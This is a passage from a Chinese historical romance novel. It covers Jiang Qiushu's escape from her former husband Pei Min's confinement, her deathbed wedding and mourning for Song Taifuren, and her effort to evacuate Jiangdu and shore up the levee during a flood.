姜秋姝身体忽然拔高,又被他抱到了床榻上。 他的含住了她的唇,轻轻的吻了起来,原本姜秋姝是反抗着的,可呼吸被夺,力量逐渐被抽离,直到他的手不规矩起来,她狠狠的咬下。 裴珉起身擦过嘴角的血迹,没有恼怒,只是深情的看着她,“娘子,我与从前不一样了。” 姜秋姝晓得他说的什么意思,只那又如何,她只当是被个小倌儿给伺候了! “放我走,不然我会恨你一辈子,永不原谅。”姜秋姝恶狠狠道,即便身体已经很累,一点儿气势都无。 可眼眸里恨意毫不掩饰,没有丝毫的情谊便罢了,简直将他当做了血海深仇的仇敌。 裴珉被她眼神刺的心发疼,他道:“娘子,我已经不似以往般的木讷,会待你好的。你别这般对我!你我是夫妻啊!” 裴珉跪在她脚边,抓住她手腕,眼里的卑微很快地闪过,“回到我身边吧!国公府那些叫你不高兴的人,我都会一一收拾。你若是要孩子,多少个我都给你。” 说着他解下了自己的外套,想要垂首,用行动表示。 姜秋姝脚抵在他的胸口,“别做梦了!裴珉,我所要的,你给不了!” “富贵?荣华?尊崇?我的心,你想要什么我都可以奉上。”裴珉抓住她的脚,放在嘴边吻了吻。 姜秋姝嫌弃得想要收回来,可是被他抓牢。 “你真是疯了!”姜秋姝不晓得在此处,待了多久,窗外黑夜关住了她。 裴珉确实与以为不同了!以为连亲吻都不会,如今仅仅一个吻都让人受不了。 裴珉究竟从何处学得这些下三滥的东西,哪里是个光风霁月的世家郎君,分明是个下流胚。 “裴珉,你先放了我可好!”姜秋姝没得办法,缓和了些语气不想与他硬碰硬,好声好气的说道。 裴珉摇头,“若是将你给放了,你定是要回去和姓宋的在一处!” 姜秋姝亦问道:“裴珉,你我成婚的两年里,与寻常夫妻关系都要差些,行夫妻间事都要按日子来的。你如今的情深,是何处来的?” 裴珉摸着她的眉宇,想要弥补两年未曾瞧见过她的思念,“娘子,我一直在克制。” 他抓住她的手,“我对你爱烈且深。” 自与她在一处,他便一直在忍耐。 他所学的典籍,皆是叫他克制。 人穿上衣物,不止有保暖的用,还有便是学会了礼义廉耻,晓得遮挡,晓得克己复礼为仁,他见她一面,那些念头如泄闸的洪水。 可他不想让她见到旁的一面,不想叫她晓得他皮囊之下与旁的男子没有什么不同。 “你若是想,日后我每日都陪你,”裴珉抱住她。 他不想要禁锢自己了,若是过度的禁锢,是叫他失去她,那他何必做那虚伪的礼仪人儿。 礼仪是对旁人虚无的东西,而不是对亲近人的枷锁。 姜秋姝被吓得挣扎起来,她可不想日日与他在一处,“你真是无耻。” “娘子,我是。”裴珉诚恳道。 姜秋姝被气的声音都在颤抖,“可裴珉!我不稀罕!” 裴珉却只是抱紧了她,他根本就无法松开她,只有她在他身侧,他才能好眠。 尽管心里晓得她的假死是在做戏,可无数个骤然惊醒的深夜里,他梦到过,她浑身湿漉漉的,身上占满了泥,光着脚,躺在东鸣山山底,身上的血迹都没有干涸。 他想要去抱住她,可每每过去,便会一脚踩空,就这样无数次的坠落,直到惊醒,他都未靠近过她。 裴珉感受着怀中她的温度,如今他真是离不开她! 失而复得,只想叫他将她藏起来。 “我们回到洛阳,便重新成婚,我还未瞧过你穿婚服的模样?”裴珉声音委屈。 姜秋姝没挣扎,只是嗤笑了声,“为了郑家的事,抛开了与我的婚仪,本就没将我们的婚仪放在心里,如今竟然没有和郑六娘成亲,裴珉你不觉得自己很好笑吗?” 裴珉身子一震,“你从何处晓得的!” 姜秋姝反问道:“难道不是吗?” “是!”裴珉不想要欺骗她,“可我与郑六娘并非那样的关系,我只是想要洗刷掉老师的冤屈。林府的人说,若我不亲自去一趟,便将线索给毁了。” 林府便是陷害郑家的罪魁祸首。 姜秋姝懂,其实不过是谁比谁更重要罢了! 她亦是能够理解他的,只是不明白,他既然做了选择,又为何要继续缠着她。 他们两人到了如今的模样,也根本不是因那场未曾出席的婚仪所造成的。 她只是想要他愧疚,“裴珉,你既然已经对不起我,便该还我自由,如今将我困在此,便是所谓的心悦吗?” “等明日,”裴珉还是不松开,“明日我便放了你。” 看来,已经过去了三日了,明日便是她和宋执书约好的日子,她得尽快的赶回去。 她怕宋太夫人晓得此事,病上加病。 “裴珉,我与宋执书成婚,是为了宋太夫人,”她看着他,没有隐瞒,“阿婆是个极好的人,我身上的衣物,皆是她给我做的,我到江都开了如意花坊,因女儿身,常有人来滋事,多是阿婆护我。她照顾我良多,如今她身子不好,我不过是想要全了她的心意,我不想她到了地底下不安。” 裴珉垂眸,“比起我,宋太夫人更重要?” 姜秋姝回了他,“正如你般,郑大儒比你我的婚仪更重要。裴珉,你做过抉择,更应该懂的!” 裴珉不语,想起她方才说话的模样,眼眸中的璀璨星河,皆是因一老妇人。 是那老妇人,叫她在举目无亲的江都,感受到了亲情,这是定国公府的人从未给过她的。 她唤那老妇人甚为亲密,阿婆。 “用膳吧!” 姜秋姝侧目,看着桌上的食物。 这三日,大都是裴珉喂她的,然后便又将她困在屋子里,讲着以往从不会讲的情话。 她给他下了药迷晕了,如今他便还回来了。 裴珉或许都未意识到,自己是个睚眦必报的。 屋子里没有燃起熏香,姜秋姝原本没有注意到这些,等看着窗边瓶中插着的花,空气中是清新的味道,她才察觉到。 他当真也没了往日的规矩,由着她在床上用膳,她只是有些惊讶。 裴珉起身,用勺子喂到了姜秋姝嘴里,然后小心的擦掉她嘴角的脏污。 姜秋姝余光落到了他腰间,竟然挂着个旧了的,又极其丑的香囊。 ~~ 县令府,宋执书伺候完宋太夫人喝完药,瞧她精神好,便陪着她说了会儿话。 宋太夫人声音都微弱了许多,“日后与阿满好好过。” 宋执书看着阿婆一脸灰白,脸上手上布满了皱纹,呼吸微弱,却强硬的靠在床栏上,又怕他看出,装作平常的模样。 宋执书点头,“阿婆放心。” 只是心里的痛,只有他晓得,明日便是成婚的日子,该如何瞒过阿婆?他真怕阿婆撑不过去。 他等宋太夫人睡下了,才回了房间。 明日她是不会来了,那人…宋执书眉宇间闪过恨意,是他权势不够,不能保全了她,如今连人也寻不到,也不晓得她是否安全! 随着天逐渐暗了下去,姜秋姝始终被裴珉困在房间里,她心里异常着急,当裴珉想要靠近她的时候,她只有厌烦与恶心。 “裴珉,若是宋太夫人真的出了事儿,我会恨你一辈子,绝不会原谅!” 裴珉看着她失望充满恨意的目光,始终没有开口。 让他眼睁睁的瞧见她与旁人成婚,便是要在他心里剜一道口子。 “你只是看重你自己,将我变成你满意的妻子。服用避子药,明明晓得我想要孩子,却将我当猴儿耍,未曾向我言明。便是和郑六娘的事儿,也从不与我说明白了。”姜秋姝推开了他想要揽住她的手。 “何曾为我想过?那是我在江都两年,对我最好之人,我在定国公府时,世家人高傲,长辈端着姿态,瞧不上我,嫁与你,我从未得到过长辈的关怀!” “我亦没有!”得到长辈关怀,裴珉抿着唇,想要将自己也撕碎了告诉她,姜秋姝打断了他的声音。 “瞧瞧,你还是只看重自己,”他亦没有,可那些,现如今与她又有什么关系? 姜秋姝没说话,坐在了绣凳上,瞧着窗子外面透过来的光亮,目光又落到了房间里,还未撤出去的膳食上。 她总要出去的。 她用力一推,桌上的碗碟碎了一地,在裴珉还未反应过来之际,迅速捡起地面上最尖细的一块儿。 “你要做什么?”裴珉惊慌起来,“莫做傻事儿!” 姜秋姝将碎块比在自己脖颈上,唇角扯了抹笑,在靠近裴珉时,想要将碎片夺过去时,迅速反手压在了裴珉的喉咙上。 她怎会是那般傻的人?用自己的命来威胁别人! 碎块儿划破了皮肉,流了点儿血,裴珉先是惊讶,没想到她竟然会这样对他,可见她神色不改,眸光逐渐暗淡了下来,他没有挣扎,只是看着姜秋姝。 “外边儿,你的人不少吧!”她问道。 裴珉还是没有说话,姜秋姝将他推着出了房间。 果然外边儿的侍卫察觉到异样,立刻将她围了个水泄不通。 “放我走,不然!”姜秋姝手往前近了几分,只注视着前面的侍卫,防备着出其不意的手段,没注意到裴珉脖颈的血痕更多了。 姜秋姝叫他们给她准备了马,那些侍卫依旧等候着裴珉的命令,裴珉不说话,他们也不敢动。 正好这时,李明澈站了出来,看着裴珉越发沉寂的目光,朝着身侧侍卫吼道:“按她说的做!” 等她上了马,才彻底放开了裴珉,行了段路,也并没有人追过来,她松了口气。 姜秋姝拉着缰绳,奋力的挥着马鞭,眸光往下时,才发现了拇指和食指上的血迹,黏腻的感觉,叫她忍不住擦了擦,可那血迹越擦,晕染了越多。 她才想起方才,她根本就没有对裴珉手软,碎瓷片扎入了他的血肉,他无话,只是看着她,眼眸里全是不可思议。 姜秋姝眸光清冷,到了如今的地步,她与裴珉不成仇敌,便已经是很好的结局了。 李明澈看着裴珉脖颈处,血越来越多,他连忙拿出手帕替他包好,又叫人去请大夫。 若是再扎进去点儿,怕是大罗金仙都救不了,李明澈没想到姜娘子竟然会这般的心狠。 “你…还是回洛阳吧!”李明澈从侍卫那里拿了止血的药,想要先给裴珉上了。 怕大夫还没来,裴珉便流血而亡了。 裴珉没有吭声,只是看着地上滴落的血迹,眸光里阴冷又带着自嘲。 她当真是想要了他的命。 姜秋姝回到了如意花坊,敲了敲门,是冬葵来开的,她惊喜道:“你去哪儿了,可急死我们了!” 姜秋姝没有回她,只问宋执书可问过她。 冬葵没有隐瞒,将事情给说了,姜秋姝连忙出了院子,又骑上了马,往县令府的方向去。 刚到县令府,府门外灯笼高悬,照亮了大门,进进出出有不少的人,门房一见姜秋姝连忙迎了上去。 “姜娘子您终于来了,太夫人不好了!”门房声音带着哭腔,宋太夫人为人和善,府中人大大小小受过她恩惠。 姜秋姝心一慌,连忙去了内院,正看着外边儿脸色青白的宋执书。 她问道:“阿婆如何了?” 宋执书此刻没了心神,失了六魄,来不及高兴姜秋姝回来了,只是凄凄道:“大夫说快不行了!” 不是还有一段时日的吗?怎会! 姜秋姝眼前蒙了一道雨雾,她很久未曾被人疼爱过了,世间的血脉之亲早就没了,只剩下个给了她两年温暖的宋太夫人。 如今! 正巧大夫走了出来,他惋惜道:“宋太夫人心中仍有执念,若有什么想说的,没做的尽快,莫要叫人走的不安宁。” 姜秋姝和宋执书一起进了内室,里面浓厚的药味,宋太夫人半睁着眸子,已经很疲惫了,可始终坚持着。 “大郎,阿满,我若离开了,你们怎么办?”宋太夫人用极其微弱的声音说道。 她实在放心不下,实在担忧,她走了,她的孩子该如何是好? 好几道眼泪滚了下来,姜秋姝和宋执书跪在她面前,“阿婆,我们会照顾好自己的。” 宋太夫人不说话,只是希冀的看着他们。 姜秋姝抬头,抓住宋太夫人的手,懂了她的意思,“阿婆,我与宋郎成婚,现在就成婚。” 宋太夫人点了点头。 如今这模样,一切皆按照最简洁的来,只将红烛摆了出来,喜服是冬葵送过来的,宋执书犹如被绳子牵引着,早就没了前几日要与姜秋姝成婚的喜悦。 两人换好衣服后,宋太夫人勉强支撑着身体,坐在了高堂之上。 姜秋姝牵着红绸,另一半由宋执书牵着,他们将要行礼,可院子外忽然冲进来了一行人。 姜秋姝看的清楚,是裴珉。 她怕他搅乱了婚仪,只能用祈求的目光望着他,裴珉脚步慢慢的停了下来,没上前,隔了几根儿柱子,看着穿着嫁衣的她。 “一拜天地。”冬葵喊道。 两位新人朝着堂外,裴珉也看清了她此刻的模样。 当真是国色天香,一身红衣,衬得她娇媚又动人,他们成婚没见到,今日他见她与旁人拜堂行礼。 “二拜高堂。” 他们朝着堂前宋太夫人一拜,宋太夫人看着他们,眼前逐渐的迷蒙,可她是笑着的。 “夫妻对拜。” 红绸两端的人并无成婚之喜,忍着悲切,眼泪流了一地。 裴珉看不见他们此刻的神情,只是看着堂前两人穿着颜色一样的衣裳,行夫妻拜礼,他与她从未做过。 “礼成!送入洞房。” 裴珉脖颈处又渗出血来,他僵硬的看着这场婚仪,呼吸牵扯着浑身上下都是痛的,几乎都要死在着漫天大红中。 第42章 第42章决堤 堂前的宋太夫人终于合上了双眸,姜秋姝和宋执书扑到了她面前。 宋执书抓着宋太夫人的手,哭声哽咽,姜秋姝跪在地上,看着这个世间最后一个对她好的人,也离开了。 她泣声不止,她终究是个亲缘浅薄的! 年幼失父,还未及笄失母,定了亲的未婚夫背叛了她,成婚不足两年又和离,便是对她好的宋太夫人,如今也离开了。 姜秋姝低着头,唇角苦涩,她是不是天煞孤星的命格,与她亲近之人,皆没有个好下场。 只与她脱离的关系的赵士远,如何还做着定国公府的乘龙快婿,与她和离了的裴珉,亦是权倾朝野的中书令。 泪水滴滴落到地上,姜秋姝缓了缓心神,擦干净了脸颊。 渴求太多,终究只会失去,如此便不稀罕吧! 姜秋姝站起身来,有条不紊的吩咐着宋府里的人,处理着宋太夫人的后事,宋执书沉浸在痛苦中,一直抓住宋太夫人的手,不想要分离,可他也晓得入土为安,起身后,想要往姜秋姝方向去,想要抱住她,从她身上汲取些安慰。 姜秋姝躲开了,连忙吩咐管家,将宋太夫人的丧事昭告府内外,并购置丧仪所需要的东西。 “少夫人,”管事儿询问道,“太夫人丧仪定在哪日?” “不必叫我少夫人,婚事不过是为了全阿婆的心意,我与宋大人并无关系。”姜秋姝直接解释清楚,“我与宋大人的事,还请众位保密,切莫耽搁宋大人寻得佳妇。” 晓得此事不过一个管事儿一个东葵。 他们对视了眼,皆表示不会多言。只是冬葵十分遗憾,原以为姜娘子会有好姻缘的! 宋执书听了姜秋姝的话垂眸,心里空落落的,他们婚事,如今也彻底的烟消云散了,如同阿婆一般。 两人忙着这些事,已经过了大半夜。 姜秋姝换了白衣,替宋太夫人整理着容颜。 堂前的红布撤下,全部换成了白色,烛光不息,香蜡滴泪,姜秋姝跪在棺椁前,送宋太夫人最后一程。 姜秋姝余光中瞥见了一道残影,他亦同她般跪了下来。 她晓得身侧人是谁,她感激道:“多谢你方才没有搅乱这场婚仪。” 裴珉不语,只是点了香,插在香炉之中,又跪在了姜秋姝的身侧。 “我从不晓得自己是个小肚鸡肠之人,直到今日!”裴珉看着她,“娘子,若是有可能,我当真想杀了他。可我晓得若是我动了手,你这辈子不会原谅我。” 姜秋姝抬眸,他脖颈侧包裹着的白布,已经渗出了血来,她也没想到,自己动手竟然这般的狠。 这样看着有些刺眼,可她不想说了关切的话,叫他误会。 “是。”如果他真的阻拦了她,她会恨上他一辈子,将他视为仇敌。 “你我虽是夫妻,可却未曾拜过天地,我错失了你的两次婚仪。一次是裴承代我的,一次是我亲眼所见的你我他的拜堂之礼。”裴珉心里的疼没有半分减轻,深入骨髓,袖子下的手颤抖着。 那样的场景光是在脑子里过一道,都叫他痛苦! 她说过他做过抉择选了郑家人,抛弃了与她的婚仪,晓得什么更重要。 他们总是在错过,一次是他抛下她,这次是她抛下了他。 同穿红衣的两个人是那般的登对,可他只能看着,他和她从未同穿过婚服。 裴珉掌心捏成了拳头,脖颈的伤,此刻疼的要命,她用尖锐抵着他时,只想要逃脱,没有顾忌过他。 若他真的被刺中死了呢? “裴珉,你我间没有缘分。”姜秋姝烧着纸,脸上的泪渍已经干涸,可却绷着脸,成了苦涩模样。 “我不认!”裴珉没有打扰她,也不敢去打搅她。 他给她机会,好好送宋太夫人一程,之后她需回到他身边一辈子不分离。 便是绑也要将她绑回去! 姜秋姝摇头,真不晓得他为何那般的固执。 白日里,来吊唁的人多了,既然他们成婚是为了全宋太夫人的心愿,如今宋太夫人走了,也瞧见过他们拜堂。 这场婚事便只是假,姜秋姝封锁了消息,在宋太夫人堂前,也只当个小辈,未曾与宋执书般披麻戴孝。 她想过些日子,宣告与宋执书解除婚约便是了。 停灵七日后,宋太夫人的棺椁便要葬入墓中,姜秋姝看着宋执书为宋太夫人捧上最后一捧土,跪在宋太夫人墓前,哭得撕心裂肺。 她忆起多年前,她与阿娘处理阿耶的丧事时,棺椁将要埋入土地,徐家的人忽然拿来了张地契,那个为阿耶准备的墓穴的土地,不知何时,变成了徐家的。 他们姜家历代都只是租赁了徐家的土地。 徐家人狰笑着,派人将阿耶的棺椁给抬出来,她和阿娘阻止不得,害怕让阿耶走的不稳,却又必须让阿耶入土为安,被逼着花了全部的积蓄,从徐家手里将那块地给买了。 世家人收拢土地,靠种地为生的百姓,一没地靠租赁,二要交税,怎么活得起。 徐家人的趁火打劫,叫她这辈子都忘不了! 姜秋姝跪在宋太夫人墓前,阿婆我晓得你要我与宋执书好好的,可我不能连累了他。 请您原谅且保佑我,行事成,天下大公。 四月,姜秋姝收到了洛阳的来信,关于裴珉的消息,此时才送到了她手里。 要么是裴珉所做,要么是李长宁身边人出了问题。 姜秋姝难免有些担忧,她看着院子里那盆牡丹花,院子里雨大,她连忙将其搬到了屋檐下。 这是冬葵撑着伞回来了,和她一块儿搬着花,“近日雨也太大了,好些个庄稼田里积水太多,米价都涨了。” 姜秋姝搬花动作一顿,蹙眉,“涨了多少。” “有一大半呢!”冬葵感叹道,“这雨大,庄稼不应该肥沃吗?怎米价还涨呢!” 姜秋姝前几日,忙着宋太夫人的丧仪,刚空闲下来,便遇上了几天急雨,本是要去地里割些花,带回城里卖,只能搁置下来了。 她将冬葵的伞打上,连忙出了院子,冬葵将最后一盆花放好,喊道:“做什么去呢!” 江都,位于扬州属下较为繁荣的县,城外有条护城河,水利交通方便,姜秋姝趁着雨势小了时,出了城。 途径过几条小溪,原本清澈的溪水,变得浑浊,水流湍急不少,原本可以直接淌过去,姜秋姝往里面扔了块儿木头,一下子便被冲刷走了。 她眉宇凝结成了一团,勉强过了小溪,好不容易到了护城河,河水确实涨了不少。 过了些时候,雨停了,冬葵兴高采烈,这些日子待在城中闷,她也想去山上瞧瞧花,下了这么些天的雨,长势必定是好的,只是开了花的,可被雨打残落地。 姜秋姝坐在院子里,这个时节的天,该是凉爽的,尤其是下了雨后,可她却觉得格外的热,外边儿蜻蜓蝴蝶低飞,竟然闯入了院子里,密密麻麻有些吓人。 抬头望天,阴沉如墨,偶尔闪电,姜秋姝心瞬间提了起来,趁着这个时候没下雨,她连忙回了房间,将自己的银钱全部拿了出来,递给了冬葵嘱咐她,“全拿去购粮!” 冬葵虽然奇怪,可她向来听姜秋姝的,连忙出了门。 姜秋姝则骑了马,往县衙方向赶去。 宋太夫人过世,宋执书需得守孝一年,如今公务,全由张县丞代劳。 姜秋姝将自己察觉到的,和张县丞说了。 若是按照以往看在宋执书的面子上,张县丞还得敬着姜秋姝几分。 可自从宋太夫人丧仪后,便退了婚,姜秋姝不过是个卖花的商女,又得了宋执书的厌弃。 他眸子自上而下的打量着,“江都本就多水,姜娘子不过一句可能会发生洪灾,本官便要让全城的百姓皆离开江都。你莫不是说笑吧!” 姜秋姝瞧张县丞这般的神色,倒也没有怪罪,她晓得他的顾虑,“我也是扬州人,晓得这边的天气,扬州多发水灾,尤其是春季,多预防总是好的。” 张县丞抬手,挡住了姜秋姝接下来要说的话,“姜娘子,本官很忙的,这些个没有根据的话,莫要胡说,若是引起百姓惊慌,担得起责任吗!” 姜秋姝晓得这般大的事,旁人不会那般轻易的信了她,可见张县丞这般傲慢姿态,也是有些气恼的。 “张大人,即便不能劝说百姓往山高处去,那希望您派人加固下安平河的堤坝。”姜秋姝只能如此道。 “去去去!”张县丞已经很不耐了,“什么加固堤坝,日后再说,本官刚要代行县令之责,已经很忙了。” 张县丞懒得与姜秋姝废话,叫人将她给赶了出去,他还得赴各大商户的宴席,哪儿有时间,便对衙役道:“日后别什么人都往县衙带。什么洪水要来了,决堤的!这姜娘子疯了不是!她一小小女子若能预测这般大的事儿,我这官位给她做!” 张县丞才不敢贸然听了姜秋姝的话,就算她说的有几分道理,他下了命令叫百姓往高处搬迁,日后若什么事儿都没发生,岂不是影响他在百姓里的声誉。 即便发生了,这是天灾,他无能为力,也不会有人会苛责他,到时候向百姓说些安抚的话,也可让他得民心。 姜秋姝能这般随意的进出县衙,还是因宋执书是江都县令的缘故,不少衙役皆识得她! 她出了县衙,仰头,天边的乌云越聚越大,天空雾蒙蒙的,像是清晨天还未亮的模样。 可现在分明是午时。 姜秋姝去了宋执书府中,宋执书正在为宋太夫人抄写往生咒,见了姜秋姝,他少见的染上几分喜色。 可等听完了姜秋姝的话,他也说不上是信不信,只是问道:“姜娘子从何处晓得这些的?” 姜秋姝垂眸,她与阿娘去了洛阳,除开阿耶的死,便是因天长县的那场洪灾。 还是这般的天气,闷热天几乎笼罩在了阴气中,她害怕的抱住了阿娘,后面天长县便日日落雨,生了洪灾。 宋执书听着,亦道:“这样的天气,确实反常,可是江都也曾有过,确实落了好几日的暴雨,安平河,河水疯涨,却从未过了堤坝。” 宋执书不是不信姜秋姝,而是他查过往日江都的地理志。 姜秋姝垂眸,宋执书理解她为百姓着想的念头,“我会与张县丞商议,加固河坝,可只因几场暴雨,便叫全县人迁移,属实不行!” 姜秋姝明白他们的意思,她今日来也没想过真的能够劝服他们。 她叹了口气,她一百姓,手中无权,旁人怎可能信服,即便与她有交集的宋执书。 她按照记忆中的方向,想找了找裴珉,可从府中人的消息,得知裴珉去了旁处,如今不在江都。 回了如意花坊,又开始下了雨,比起以往还要大,她的心提了起来,冬葵已经按照她的吩咐将粮食购买了并运到了隐匿处。 到了夜间,天都没在下雨,姜秋姝也都要觉得是自己杞人忧天了,可天长县的那场洪灾实在叫她终身难忘,听闻宋执书派人加高了堤坝,她松了些心。 姜秋姝坐在院子里,忽然淅淅沥沥的雨溅到了身上,她还是没有离开,冬葵看着她这模样走了过来,“你干嘛?这么大的雨,不晓得躲躲。” “叫自己清醒些。”姜秋姝看着成股的水顺着洞流向了外边儿,这个模样,出门都是难事儿。 她只能期盼,一切不过是她想多了。 半夜,天空闪电惊雷,将周围一下子照的很亮,姜秋姝起身,彻底的睡不着。 她怕,怕天长县的那场洪灾重蹈覆辙。 她连忙寻了蓑衣披在了身上,敲开了旁边院子的门,主人家披着衣服走了出来,“姜娘子你!” “老伯这雨怕停不了,江都地势偏低,我怕有危险,不若去山上避上一避!” 老伯没想到姜秋姝会说这样的话,他看着外边儿的大雨迟疑的很,“可雨这般大,不好贸然出门啊!山路难走,摔了多危险” 正好有了个老夫人,是孙婶儿。 她道:“去!” 她抓住了姜秋姝的手,“不瞒姜娘子说,这雨大得很,我也是被吓到了,想要往高处走,家中人怕麻烦,还说我是想多了,可我曾是天长县的!” 说着孙婶儿有了哭腔。 “好!”姜秋姝那些担忧此刻却像是定了下来,“我们去问问江都,可有愿意一道去的,我晓得有个地方地势高,地质硬,安全些。” 姜秋姝连忙去了街上,敲开了各家各户的门,有的觉得她不过是杞人忧天,有的也有同样的想法,只是无人一道,见有人提议便允了。 清晨,一人传十人,十人传百人,江都几乎全都晓得有一行人想要去避难,他们反应不一,有的想要一道,有的确实觉得可笑。 “什么洪水决堤,可笑的很。怕是外地的不晓得江都本就多雨!”有人鄙夷姜秋姝的话。 亦有人附和,原本还想要走的人,此刻也有了犹豫。 姜秋姝冷然的看着那人,“你蠢,可别叫旁人也染上!江都多雨,可何曾有过这般大的雨!只不过是躲一躲,安全了便回来。趋避利害,是人的本性,飞蛾扑火尚且因光,你明知危险还要扑上去,便是蠢!” 听了姜秋姝的话,不少人觉得可行,不过躲上一躲,为了安全。 雨小了些,要与姜秋姝一道离开的约莫有三百人。 他们跟在姜秋姝身后,此处地势高,确实难行,加上下了雨,道路泥泞,有几人隐隐有了后悔的意思。 “早晓得,就不听姜娘子的胡编乱造了!哪里来的洪灾啊!我都怕摔了,受了伤!” “确实!不若下山吧!” 姜秋姝曾询问过他们意见,也并未逼迫他们上山,可她还是道:“上山容易,下山难,路滑,若是不小心摔倒了悬崖底下,可莫要怪我。” 那几人想也是,只能跟着大伙儿往前走,好有个照应,可话里话外,还是在说不该轻信了旁人! 又过了半个时辰,他们歇脚,此处平坦,俯瞰下方,刚好可以看见整个江都,不少人走了过去,见到了叫他们终身难忘的一幕! 永平河上游隐隐有了决堤姿态,若是泄洪,江都必定有淹没的风险。方才吵嚷着要走的人,几乎瘫坐在地上! 幸好他们离开了! 这几百人全都朝着姜秋姝的方向行礼,“姜娘子多亏您了,要不是您,我们也不会有胆子离开!” “姜娘子您真是在世菩萨!” “姜娘子您救了我一命!我愿做牛做马报答您!” 姜秋姝叫他们起来,往下看着,心高高悬起,尤其是随着雨势增大,永平河上游几乎快要决堤了,下面便是江都县。 她将这些百姓,全部交给了冬葵,让他们按照她给的路线,继续走。 雨势大,容易发生泥石流,需得去地质硬的地方! “你要去哪里!”冬葵拦住了她。 “回江都!” “姜娘子你疯了吗?那些人不听你的,你没有必要去的!”冬葵想要拦住她,可姜秋姝直接绕开了她。 “我只是尽我可能,不会去冒险!”姜秋姝安抚着她,连忙离开了。 她既然见了,便不能袖手旁观,今日若弃了,日后便是做成自己想做的,也对不起今日的自己。 也是此时,有个壮汉站了出来,“姜娘子我也去!” 他亦是江都人,自然不能看着家乡淹没,置之不理。 那壮汉叫周鸣,他们父母皆未反对,还让她保护好姜秋姝。 下山路确实难走,姜秋姝不晓得自己摔了多少次,身上衣服裹了不少的泥土,可她仍想要快些,将看到的情况告诉江都百姓,即便晚了,她也可多帮些人。 雨又大了起来,比起孩儿面还要反复无常,姜秋姝抓住周边儿的藤蔓,倒着身子逐渐往下滑,当叫踩在实处,她才继续往下走,过了一刻钟才走了百米,她焦急起来,生怕自己去晚了。 即便宋执书已经派人加固过堤坝,可她心里头的担忧,没有丝毫的减弱。 张县丞此人太过自傲,怕阳奉阴违,不会听宋执书的话。 也是太过担心,脚踩在石块儿上,一下子滑了下去,不晓得撞到了什么东西,起身时肩侧疼得很。 “姜娘子你还好吧?”周鸣担忧地问道。 姜秋姝摇头,两人继续赶路,下山时相互帮助着,约莫过了三刻钟,才终于到了山脚下,急忙往江都城里跑。 雨大的将她身上的泥土冲刷了干净,她敲着门,告知他们河水将要冲出堤坝,恐有泄洪的危险。 永平河上游将要冲出堤坝,听闻此事的百姓皆惊恐,信的人不信的人皆有。 姜秋姝来不及和他们多说,便让周鸣组织人往山上走。 她连忙去找宋执书,将此事告知他,由官府出面,百姓连忙进行疏通,张县丞本是反对的,他到底不信一女子所言,可宋执书余威尚在,不敢反抗。 这么多人,若是想要全部疏散,怕来不及,必须要给他们争取些时间,姜秋姝带着宋执书给的一对人马,去将永平河堤坝加高,加深。 当姜秋姝搬着沙土袋和侍卫一起时,不少目光皆停留在了她身上。 原是娇贵的小娘子,此刻将百姓的生命放在了心上,即便自己安全了,可当察觉到了危险,依旧愿意帮扶那些不信任她的百姓。 这位姜娘子当真是个奇女子。 这沙土重的很,每搬动一袋,姜秋姝的肩膀便要疼上一分,可她不想叫别人看见,亦想要加快些速度,稳固河堤。 她弯腰抓住布袋,刚要往上搬,肩膀的疼叫她停滞,沙土几乎掉落,往下的位置是她的脚,此时一只手抵着沙袋,稳住了。 她侧身才发现是裴珉。 “没事儿吧!”裴珉担忧地看着她,姜秋姝摇头。 她此刻狼狈的很,身上虽然穿着蓑衣,可里头衣服皆打湿了。 裴珉接到江都这边的消息,便急忙回来了,他本是来巡查河道的,江都这边寻常来看是无事,可谁也没想到,这雨竟然这般的大! 裴珉和她协助着搬着沙土,亦叫侍卫立刻去帮忙。 裴珉在雨中穿梭,同那些百姓一道稳固河堤。 前面有个百姓提不起行囊,是裴珉帮他提到了马车上。 雨水打在他脸上,身上沾了泥土,完全没有洛阳世家郎的风范,不瞧脸和身形跟个寻常农夫般。 姜秋姝还以为,他们这样的人指哪儿,便让底下人打哪儿,不会亲自去做的。 此刻裴珉落了地,不似以往高高在上,却叫姜秋姝莫名安稳。 不少人收拾着家当,心里又急又难受,甚至闪过还不如死了的想法! “若是走了,我们的家该如何?日后又怎么生存下去!”一农户抹着眼泪,他是不想撤的,贫苦百姓生存艰难,多靠土地,粮食被淹,他们要怎么活! 众人聚集在一起,痛苦极了,若是颠沛流离的活着,跟死了有什么区别。 姜秋姝从侍卫口中得知了一切,连忙赶了过来,“乡亲们,我手里尚有余粮。” 姜秋姝连忙表明了身份,甚至说出了真名,“我是如意花坊东家姜满,本名姜秋姝,乃是扬州天长县人,八年前遭遇大水,家没了。那时也苦于生存,可如今我开了自己的花坊,也有了些银钱,我愿捐出全部的钱,帮助百姓度过此次灾祸。” 姜秋姝话落,原本糟乱的人群,有了几分安静,真有人能够这般的大公无私,舍己为人? 可她言辞恳切,原本坚决的百姓,想要信一信这位姜娘子! 毕竟他们也无计可施。 裴珉来时,刚好看着人群中的安抚百姓的姜秋姝,似闪烁着光,以往身上被压制的东西,此刻全都没了遮挡。 这才是真正的她,坚韧,自强,却又仁爱! 第43章 第43章民心 堤坝几乎快要坚持不了了,河水冲击着,将原本垒好的沙土袋给冲倒,此刻江都百姓已经撤离了大半,可终究还未走完。 姜秋姝扛着沙土袋,几乎到了竭力的地步,额头也不晓得是汗水还是雨水,可她不能停下,若是快些,便能多拦截河水一会儿,为百姓撤离拖延时间。 掌心被砂石磨砺着,可她已经没了知觉,快速的将沙土袋给堆上。 可河水冲击的速度极快,他们一行人也几乎快没了力气。 “还有多少人未撤离?”姜秋姝问道。 “约莫还有十几户,”有侍卫答道,“姜娘子,您也跟着一块儿走吧!” 这般瘦弱的人,顶着暴雨护卫江都,让人钦佩的同时,又心疼! 姜秋姝看了看身后空了大半的城池,以及面前激流汹涌的河水,此刻没有人会停下,即便再累,他们也不敢有丝毫松懈。 总要有人为百姓的生命奋力。 姜秋姝已经麻木,弯腰去搬沙土袋扑了个空,她捶了捶额头,勉强看清眼前,才找准了东西,她只能拖拽着,往上叠放时,推着慢慢挪动,好不容易才放好! “姜娘子,我们来帮你们!”嘈杂的雨声后面是一些粗狂的声音,他们是码头的工人,力量强。 看着越来越多的人加入,他们越发的斗志昂扬,皆是为了江都的百姓,皆是为了他们的家乡! 此时,堤坝的高度终于挡住了激流的河水。 姜秋姝松了口气,可雨势也随之增大,按照这样的雨势,不晓得何时会彻底将沙土袋全部冲倒。 只能加紧速度叫百姓撤离。 另一侧的裴珉,分了丝心神在姜秋姝身上,蓑衣遮住了她,叫他看不清她如今模样。 